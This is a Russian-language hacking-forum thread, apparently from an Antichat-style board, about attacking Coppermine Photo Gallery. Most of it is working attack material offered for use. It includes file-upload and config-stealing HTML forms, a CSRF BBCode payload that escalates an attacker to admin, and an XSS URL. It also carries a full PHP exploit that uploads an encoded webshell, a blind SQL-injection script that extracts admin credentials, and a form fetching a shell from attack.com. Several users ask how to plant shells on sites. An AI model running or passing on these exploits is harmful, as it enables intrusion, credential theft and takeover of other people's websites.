[ Обзор уязвимостей Coppermine Photo Gallery ]

Discussion in 'Веб-уязвимости' started by iddqd, 21 Jan 2008.

  1. deathking

    deathking New Member

    Joined:
    28 Dec 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    а файлики не качаюцца :(
     
  2. number0

    number0 Banned

    Joined:
    1 Mar 2008
    Messages:
    27
    Likes Received:
    5
    Reputations:
    0
    Coppermine Photo gallery - Remote PHP File Upload 1.4.19

    PHP:
    <?php
    <html
        <
    form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=http%3A%2F%2Fwww.google.com&CURRENT_PIC[filename]=/test.php" 
    method=post
            <
    input name="save" value=1
            <
    input name="keysToSkip" value=1
            <
    input name="_GET" value=1
            <
    input name="_REQUEST" value=1
            <
    input type=submit
        </
    form
    </
    html


    This request will copy the database connection info and make it readable here
    http://10.1.1.155/Audit/cpg1419/albums/dbinfo.txt 
    This attack works with allow_url_fopen=Off 
    <html
        <
    form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=include/config.inc.php&CURRENT_PIC[filename]=/dbinfo.txt" 
    method=post
            <
    input name="save" value=1
            <
    input name="keysToSkip" value=1
            <
    input name="_GET" value=1
            <
    input name="_REQUEST" value=1
            <
    input type=submit
        </
    form
    </
    html>
    ?>
     
  3. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    Coppermine Photo Gallery <= 1.4.20 (BBCode IMG) Privilege Escalation PoC

    csrf-инъекция в BB-теге img (комментарии к фото):
    Code:
    [img*]http://[host]/[path]/delete.php?id=u[ID]&u[ID]=&action=change_group&what=user&new_password=&group=1&delete_files=no&delete_comments=no[/img*]
    где [ID]- id атакующего
    как только администратор посетит страницу с кодом, атакующий получит администраторские привилегии. Так-то!

    //by Juri Gianni aka yeat - staker[at]hotmail[dot]it
     
  4. vector

    vector New Member

    Joined:
    8 Sep 2005
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Как я могу залить шелл ?

    Привет,
    Я имею admin на Coppermine Photo Gallery 1.4.14 modpack v1 (stable). Как я могу залить шелл ?
     
  5. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    vector, два поста выше. Если не понял - стучи в аську 674542, помогу.
     
  6. Dr.Gonzo

    Dr.Gonzo Member

    Joined:
    26 Feb 2009
    Messages:
    29
    Likes Received:
    9
    Reputations:
    5
    Coppermine Photo Gallery 1.4.21 XSS

    HTML:
    http://somehost/docs/showdoc.php?css=1>">XSS%3B
     
  7. Dr.Gonzo

    Dr.Gonzo Member

    Joined:
    26 Feb 2009
    Messages:
    29
    Likes Received:
    9
    Reputations:
    5
    Coppermine Photo Gallery <= 1.4.22

    Несколько уязвимостей, работающих только при условиях:
    register_globals = On
    magic_quotes_gpc = Off

    В том числе SQL-инъекция при условиях возможности региться
    И blind-sql при условии, что разрешена "ecard logging system" (по дефолту нет)

    Уязвимости

    Сплойт, использующий эти уязвимости
     
  8. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    Открываем файл include/init.inc.php:
    Code:
    $HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');
    $keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST');
    
    if (get_magic_quotes_gpc()) {
    if (is_array($_POST)) {
    foreach ($_POST as $key => $value) {
    if (!is_array($value))
    $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
    if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
    }
    }
    
    if (is_array($_GET)) {
    foreach ($_GET as $key => $value) {
    unset($_GET[$key]);
    $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
    if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
    }
    }
    
    if (is_array($_COOKIE)) {
    foreach ($_COOKIE as $key => $value) {
    if (!is_array($value))
    $_COOKIE[$key] = stripslashes($value);
    if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
    }
    }
    if (is_array($_REQUEST)) {
    foreach ($_REQUEST as $key => $value) {
    if (!is_array($value))
    $_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);
    if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
    }
    }
    } else {
    if (is_array($_POST)) {
    foreach ($_POST as $key => $value) {
    if (!is_array($value))
    $_POST[$key] = strtr($value, $HTML_SUBST);
    if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
    }
    }
    
    if (is_array($_GET)) {
    foreach ($_GET as $key => $value) {
    unset($_GET[$key]);
    $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
    if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
    }
    }
    
    if (is_array($_COOKIE)) {
    foreach ($_COOKIE as $key => $value) {
    if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
    }
    }
    if (is_array($_REQUEST)) {
    foreach ($_REQUEST as $key => $value) {
    if (!is_array($value))
    $_REQUEST[$key] = strtr($value, $HTML_SUBST);
    if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
    }
    }
    }
    
    Теперь смотрим файл coppermine.inc.php:
    Code:
     $sessioncookie = $_COOKIE[$this->client_id]; 
     // Create the session id by concat(session_cookie_value, client_id)
    $session_id = $sessioncookie.$this->client_id;
    
    ......
    
    // Check for valid session if session_cookie_value exists
    if ($sessioncookie) {
    
    // Check for valid session
    $sql = 'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");';
    
    Используем експлоит:
    Code:
    Coppermine Photo Gallery SQL注射+命令执行漏洞
    漏洞影响 version < 1.4.16
    欢迎访问 http://www.80sec.com
    漏洞发现 jianxin#80sec.com
    
    用法: php.exe exp.php www.80sec.com /cpg1416/
    
    获得webshell地址在
    http://www.80sec.com/cpg1416/plugins/loveshell.php
    密码 shell
    Good Luck :)
    
    +------------------------------------------------------------------+
    ");
    
    ini_set("max_execution_time",0);
    error_reporting(7);
    
    $blogpath="$argv[2]";
    $server="$argv[1]";
    $cookie='';
    
    $evilzip="UEsDBBQAAAAIAGeTdDgKL31nOgAAADsAAAANAAAAbG92ZXNoZWxsLnBocLOxL8go4OVKLUvM0VCJD3INDHUNDolWL85IzclRj9W05uWyt+Pl8skvSwULKTjn56YWK3ikFqUqAgBQSwECFAAUAAAACABnk3Q4Ci99ZzoAAAA7AAAADQAAAAAAAAABACAAAAAAAAAAbG92ZXNoZWxsLnBocFBLBQYAAAAAAQABADsAAABlAAAAAAA=";
    
    $evilzip=base64_decode($evilzip);
    
    $data=<<
    -----------------------------12345671234567
    Content-Disposition: form-data; name="plugin"; filename="c:\\1.zip"
    Content-Type: application/x-zip-compressed
    
    $evilzip
    -----------------------------12345671234567
    www_80sec_com;
    
    $temp=send('',"index.php");
    preg_match_all('/Set-Cookie: ([a-f0-9]+)=/i',$temp,$cookiepre);
    
    $cookiepre=$cookiepre[1][0];
    
    if($cookiepre){
    echo "Make Evil Data!\t\r\n";
    $cookie=$cookiepre.'='.urlencode('")union/**/select/**/1/*;');
    }
    
    echo "Make Evil Shell!\t\r\n";
    send($data,"pluginmgr.php?op=upload",'multipart/form-data; boundary=---------------------------12345671234567');
    
    $shell="http://$server".$blogpath."plugins/loveshell.php";
    
    echo "Look at $shell :) \r\n";
    echo "Or login with cookie ".urlencode('")union/**/select/**/1/*;')."\r\n";
    
    function send($cmd,$script,$type='')
    {
    global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip;
    
    $type ? $content=$type : $content="application/x-www-form-urlencoded";
    
    $path=$blogpath."$script";
    $message = "POST ".$path." HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Referer: http://".$server.$path."\r\n";
    $message .= "Content-Type: $content\r\n";
    $message .= "User-Agent: ".$useragent."\r\n";
    $message .= "Host: ".$server."\r\n";
    $message .= "Content-length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Keep-Alive\r\n";
    $message .= "Cookie: ".$cookie."\r\n";
    $message .= $evilip."\r\n";
    $message .= $cmd."\r\n";
    
    //echo $message;
    $fd = fsockopen( $server, 80 );
    fputs($fd,$message);
    $resp = "
    
    ";
      while($fd&&!feof($fd)) {
      $resp .= fread($fd,1024);
      }
      fclose($fd);
      $resp .="
    
    ";
    if($debug) {echo $cmd;echo $resp;}
    //echo $resp;
    return $resp;
    }
    ?>
     
    2 people like this.
  9. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Coppermine Photo gallery - Remote PHP File Upload

    Coppermine Photo gallery - Remote PHP File Upload для версии 1.3.3
    Code:
    <html> 
        <form action="http://cpg133/picEditor.php?img_dir=http://attack.com/&CURRENT_PIC[filename]=/shell.php" 
    method=post> 
            <input name="save" value=1>
            <input name="newimage" value="shell.txt">
    	<input name="HTTP_GET_VARS" value=1> 
            <input type=submit> 
        </form> 
    </html> 
    
    http://attack.com/shell.txt - веб шелл, будет доступен по адресу http://cpg133/albums/shell.php

    нужны права администратора.
     
  10. ysmat

    ysmat Member

    Joined:
    20 Apr 2006
    Messages:
    89
    Likes Received:
    5
    Reputations:
    -3
    может конечно и не актуально уже
    но может и пригодиться
    пределаный сполит от rst использующий sql в куках
    полностью рабочий даже на тех базах где /* уже не проходит как коментарии
    Code:
    <?php
    #############################################
    # RST/GHC PRIVATE
    # CPG 1.4.10 sql injection exploit
    # Date: 17.05.07
    # bug: SQL injection in private album
    # function through array indexes with COOKIE
    #############################################
    error_reporting (E_ERROR);
    ini_set("max_execution_time",0);
    intro();
    if ($argc < 4 ){
            print " Usage: " . $argv[0] . " <host> <dir> <force> [table prefix]\n";
            print "        <host>                          - hostname\n";
            print "        <dir>                           - web dirname \n";
            print "        <force>                         - force mode - '0' - for Off or \"album number\" for force mode On \n";
    
            print " example: " . $argv[0] . " coppermine.site photo/ ";
            credits();
    }
    ###############################################
    /* FUNCTIONS */
    ##############################################
    
    if (!function_exists(str_split)){ ### for PHP4 << FIX
            function str_split($str)
          {
            $str_array=array();
            $len=strlen($str);
            for($i=0;$i<$len;$i++) $str_array[]=$str{$i};
            return $str_array;
           }
    }
    
    function toSql($str){
            $a_str = str_split ($str);
            $s_str = '0x';
            foreach ($a_str as $val)
                    {
                    $s_str .= sprintf("%X",ord($val));
                    }
            return $s_str;
    }
    
    function toCookie ($str)    // ФОРМИРУЕТ ОБЩИЙ SQL ЗАПРОС ДЛЯ КУКОВ
            {
            $str = "-1) UNION SELECT " .toSql ($str). ",1 as md5_password#";  //ПЕРВЫЙ ЗАПРОС
            $c_str=array(0=>"8", $str=>"1");
            $c_str = $GLOBALS['prefix'].'_albpw='.urlencode(serialize($c_str)).';'.$GLOBALS['cookies'];
            return $c_str;
            }
    
    
    function getAlbum($text){
            if (preg_match("/(?<=album=)[1-9]{1}(?=\">)/", $text, $match)) {
                    return intval($match[0]);
            }
             else return 0;
    
    }
    
    function getCookie($text){
            if (preg_match_all("/(?<=Set-Cookie:)(.*)(?=expires)/", $text, $match)) {$cookie = $match[0][0].$match[0][1];}
            else {$cookie = '';}
            return $cookie;
    }
    
    function getPrefix($text){
            if (preg_match("/(?<=\s)[a-z0-9_]*(?=_data)/", $text, $match)) return trim($match[0]);
            else return false;
    }
    
    function toPage($page){
     $pattern = "/(?<=HTTP).*(?=<html)/s";
     $replacement = '';
     $page = preg_replace($pattern,$replacement,$page);
     /* Let's count images on the page */
     if (preg_match_all("/<img/", $page, $match)) return count($match[0]);
     else return 0;
    }
    
    function sendit($page, $method, $cookie=''){       //ФУНКЦИЯ ЗАПРОСА
    global  $argv;
            $data ='';
            $host = $argv[1];
            $page = $argv[2] . $page;
            $referer = 'http://'.$host;
            $user_agent = 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)';
            $result = '';
            $sock = fsockopen($host, 80, $errno, $errstr, 50);
    
            if (!$sock) die("$errstr ($errno)\n");
            fputs($sock, "$method /$page HTTP/1.0\r\n");
            fputs($sock, "Host: $host" . "\r\n");
            fputs($sock, "Content-type: application/x-www-form-urlencoded\r\n");
            fputs($sock, "Content-length: " . strlen($data) . "\r\n");
            fputs($sock, "Referer: $referer". "\r\n");
            fputs($sock, "User-Agent:  $user_agent" . "\r\n");
            fputs($sock, "Accept: */*\r\n");
            if ($cookie !=='') {fputs($sock, "Cookie: $cookie\r\n");}
            fputs($sock, "\r\n");
            fputs($sock, "$data\r\n");
            fputs($sock, "\r\n");
    
        while (!feof($sock)) {
            $result .= fgets ($sock,8192);
        }
            fclose($sock);
                    //print $result; ### DEBUGER
        return $result;
    
    }
    
    function credits(){
    echo '
    +==========================================+
    + Coded: 17.05.07 * Bug found in Feb.2007  +
    +==========================================+
    ';
    exit;
    }
    
    
    function intro(){
    echo '
              * P R I V A T E  *
    +==========================================+
    | RST/GHC Coppermine SQL injection exploit |
    +==========================================+
    |  >>> vulnerable: CPG 1.4.10 stable  <<<  |
    +------------------------------------------+
    ';
    
    }
    
    ##################################################  ###################
    ### HACK FUNCTIONS
    #####
    ####
    ### what to find:
    ## user_name   user_password    FROM  cpg1410_users WHERE user_id=1
    ##################################################  ##################
    
    function makeExpl($param, $cond, $sn) ### $param - name || password; $cond - condition (e.g. =97) ; $sn  - position
    {
            global $argv;
            $tprefix = 'cp';  // ПРЕФИКС БАЗЫ
            $query = 'ASCII(substr((SELECT user_'.$param.' FROM '.$tprefix.'_users WHERE user_id=1),'.$sn.',1))' . $cond; //АРГУМЕНТ ВТОРОГО ЗАПРОСА СОБСТВЕННО ПРОВЕРКА СИМВОЛА
            //$sql = '0) UNION SELECT '.$GLOBALS['album'].' AND ' .$query. '#';    // ВТОРОЙ ЗАПРОС  ОРИГИНАЛ
            //echo $sql; ###DEBUG
            $sql = '0) UNION SELECT IF ('.$query.','.$GLOBALS['album'].',0)#';    // ВЕCЬ ЗАПРОС  ПОЛНОСТЬЮ В СБОРЕ
    
    
            return toCookie($sql);
    
    }
    
    function blind($param, $sn, $fmin, $fmax)
    {
     if (($fmax-$fmin)<5) { return crack($param, $fmin, $fmax, $sn) ;}
     $compare = intval($fmin + ($fmax-$fmin)/2);
     $crcheck = ">". $compare;
     if ( check(makeExpl($param, $crcheck, $sn)) == 1 ) {
        return blind($param, $sn, $compare, $fmax);
        }
     else {
        return blind($param, $sn, $fmin, $compare+1);
            }
    }
    
    function crack($param, $cmin, $cmax, $sn)
    {
     for ($i=$cmin; $i <=$cmax; $i++){
       $crcheck = '='.$i;
       $sqlCookie = makeExpl($param, $crcheck ,$sn);
       if (check($sqlCookie) == 1){print chr($i); return 1;}
             }
    return 0;
    }
    
    function check($sqlCookie){
            global $page, $etalon;
            $testPage = toPage(sendit ($page, 'GET', $sqlCookie));
            if ($testPage < $etalon) return 1;
            else return 0;
    }
    
    function exploit($param){
            echo "\nLet's define admin's ". $param . "\n";
            $min = 48;  # 0                                 // ДИАПАЗОН ПЕРЕБОРА ЗНАЧЕНИЙ В ЛОГИНЕ И ПАРОЛЕ
            $max = 122; # z
    
            $sql_cookies = makeExpl($param,'BETWEEN '.$min . ' AND '.$max,1); // ПОДСТАНОВКА ПРОВРКИ СОВПАДЕНИЯ С ЗАДАНОЙ БУКВОЙ
            if (check($sql_cookies) == 0) {echo 'failed...'; return;}
    
            $sn=1;
            while(blind($param,$sn, $min, $max) !== 0) {
                    $sn++; if ($sn > 32) return;
            }
    }
    
    ##################################################  #############
    ## START     E X P L O I T    C O D E
    ##################################################  ###########
    echo '
    Exploiting:
    [+] target: '. $argv[1].'/'.$argv[2].'
    ';
            $page = 'thumbnails.php';
            $firstReply = sendit($page, 'GET');                                     //ВЫЗОВ ЗАПРОСA
    
            $album = $argv[3];
            $page = 'thumbnails.php?album='.$album;                                 // ПОЛОЖИЛИ НОМЕР АЛЬБОМА
            $GLOBALS['album'] = $album;
            echo "[+] Valid album number: ".$album . "\n";
            $GLOBALS['cookies'] = getCookie($firstReply);                                         ### get cookie from host
            $prefix = getPrefix($GLOBALS['cookies']);                                                 ### get cookie prefix
            echo "[+] Cookie prefix: " . $prefix . "\n";
            $GLOBALS['prefix']=$prefix;
    
            $etalon = toPage(sendit ($page, 'GET', $c_cookies));                        // ЗАПРОС ДЛЯ НАХОЖДЕНИЯ КО-ЛВО КАРТИНОК НА СТРАНИЦЕ ПО ФАКТУ ТЕГОВ <img
                                                                                        // ВСЯ КОНФИГУРАЦИЯ СОБРАНА
    
            //$first_sql = '0) UNION SELECT '.$album.' AND 1=1#';                     // 2 ВЛОЖЕНЫЙ ЗАПРОС ПРОБНЫЙ ТЕСТ ОРИГИНАЛ
            $first_sql = '0) UNION SELECT IF(1=1,'.$album.',0)#';                     // 2 ВЛОЖЕНЫЙ ЗАПРОС ПРОБНЫЙ ТЕСТ
    
            $first_cookie = toCookie($first_sql);                                    //  ДЛЯ ПРОВЕРКИ УЯЗВИМОСТИ
    
            if (check($first_cookie) == 0) {echo "exploit failed_kartinki"; credits();} ### if album is still visible - site is unvulnerable
    
            exploit('name');
            exploit('password');
            credits();
    
    ?>
    
    # milw0rm.com [2008-01-22] 
     
  11. N@b$ter

    N@b$ter Elder - Старейшина

    Joined:
    6 Oct 2009
    Messages:
    293
    Likes Received:
    73
    Reputations:
    21
    Помогите залить шелл на Coppermine Photo Gallery 1.4.8 (stable)
     
  12. banality

    banality New Member

    Joined:
    13 Aug 2011
    Messages:
    18
    Likes Received:
    3
    Reputations:
    0
    Кто разбирается подскажите как залить на Coppermine Photo Gallery v1.5.20
     
  13. Zed0x

    Zed0x Member

    Joined:
    4 Jun 2012
    Messages:
    114
    Likes Received:
    29
    Reputations:
    23
  14. slalix

    slalix New Member

    Joined:
    14 Feb 2014
    Messages:
    13
    Likes Received:
    1
    Reputations:
    0
    Некропостинг конечно, но вдруг кому пригодится.
    Вот гайд по заливке шелла на cpg (Нужны права админа):
    1)Подключаемся к базе и топаем в таблицу cpgXXx_filetypes и там меняем любое расширение на php
    2)Потом идем в таблицу cpgХХx_config и в конце allowed_doc_types прописываем \php
    3)Далее от имени админа заливаем шелл в любую галлерею.
    4)ВАУЛЯ! Шелл залит.
    Заходим в просмотр залитого файла и открываем его в новой вкладке, вот и шелл
    Проверял на cpg1.5.20
     
  15. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    Апну тему
    Нужна инфа как определить версию или баги в Coppermine Photo Gallery Modded by Stramm